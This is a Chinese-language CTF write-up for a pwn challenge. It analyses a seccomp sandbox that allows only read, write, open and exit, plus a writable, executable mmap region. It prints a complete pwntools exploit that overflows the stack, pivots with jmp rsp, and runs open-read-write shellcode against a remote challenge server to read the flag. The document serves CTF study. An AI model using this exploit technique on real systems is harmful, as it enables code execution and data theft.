保护
ida
这里使用mmap函数创造了一个内存映射区域
从地址0x123000开始,大小位0x1000
权限为可写可执行(可读0x1,可写0x2,可执行0x3)
设置为私有映射(MAP_PRIVATE
)和匿名映射(MAP_ANONYMOUS
)
常见的标志的值:
MAP_SHARED
:1MAP_PRIVATE
:2MAP_ANONYMOUS
:0x20 (32)MAP_FIXED
:0x10 (16)MAP_LOCKED
:0x2000 (8192)MAP_NORESERVE
:0x4000 (16384)
将要映射的文件描述符设为-1,表示不关联任何文件
剩下的0指的就是偏移量了,没有偏移
这里首先初始化将所有系统调用禁用,并且后面使用seccomp_rule_add函数添加了可使用的系统调用。
根据64位系统调用号,分别是:
read:系统调用号为0
write:系统调用号为1
open:系统调用号为2
exit:系统调用号为60
因此系统调用exceve就没法用了。
解题思路:
我尝试在栈上构造shellcode,但是始终因为字节大小稍微大一点没法进行。所以只能将shellcode写入mmap所创建的空间中了,正好此空间可写可执行。
完整exp:
from pwn import*
context(log_level='debug',arch='amd64')
#p=process('./bad')
p=remote('node5.buuoj.cn',26264)
jmprsp=0x400A01
mmap=0x123000readmmap=asm(shellcraft.read(0,mmap,100))
callmmap=asm('''
mov rax,0x123000
call rax
''')
moversp=asm('''
sub rsp,0x30
call rsp
''')
payload=readmmap+callmmap
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmprsp)+moversp
p.sendlineafter(b'have fun!',payload)opens=asm(shellcraft.open('./flag'))
reads=asm(shellcraft.read(3,mmap,100))
writes=asm(shellcraft.write(1,mmap,100))
payload=opens+reads+writes
p.sendline(payload)p.interactive()
这里来解释一下部分exp
补充点1:reads=asm(shellcraft.read(3,mmap,100))这里为什么填3而不是0?
答:这个是文件描述符的知识点,在linux中系统会默认设置0,1,2三个文件描述符,而这三个文件描述符代表的分别是标准输入(就是我们从显示器输入的),标准输出,标准错误输出。在我们没有关闭任何一个文件描述符时,我们再打开一个文件,那就会使文件描述符3指向那个文件,以此类推。这里我们打开了flag,所以flag的文件描述符为3。当然为了省事,也可以写成reads=asm(shellcraft.read('rax',mmap,100))
补充点2:在写汇编代码时记得使用context标注系统位,比如64位。
补充点3:opens=asm(shellcraft.open('./flag'))在远程中要写./flag而不是仅仅flag而已。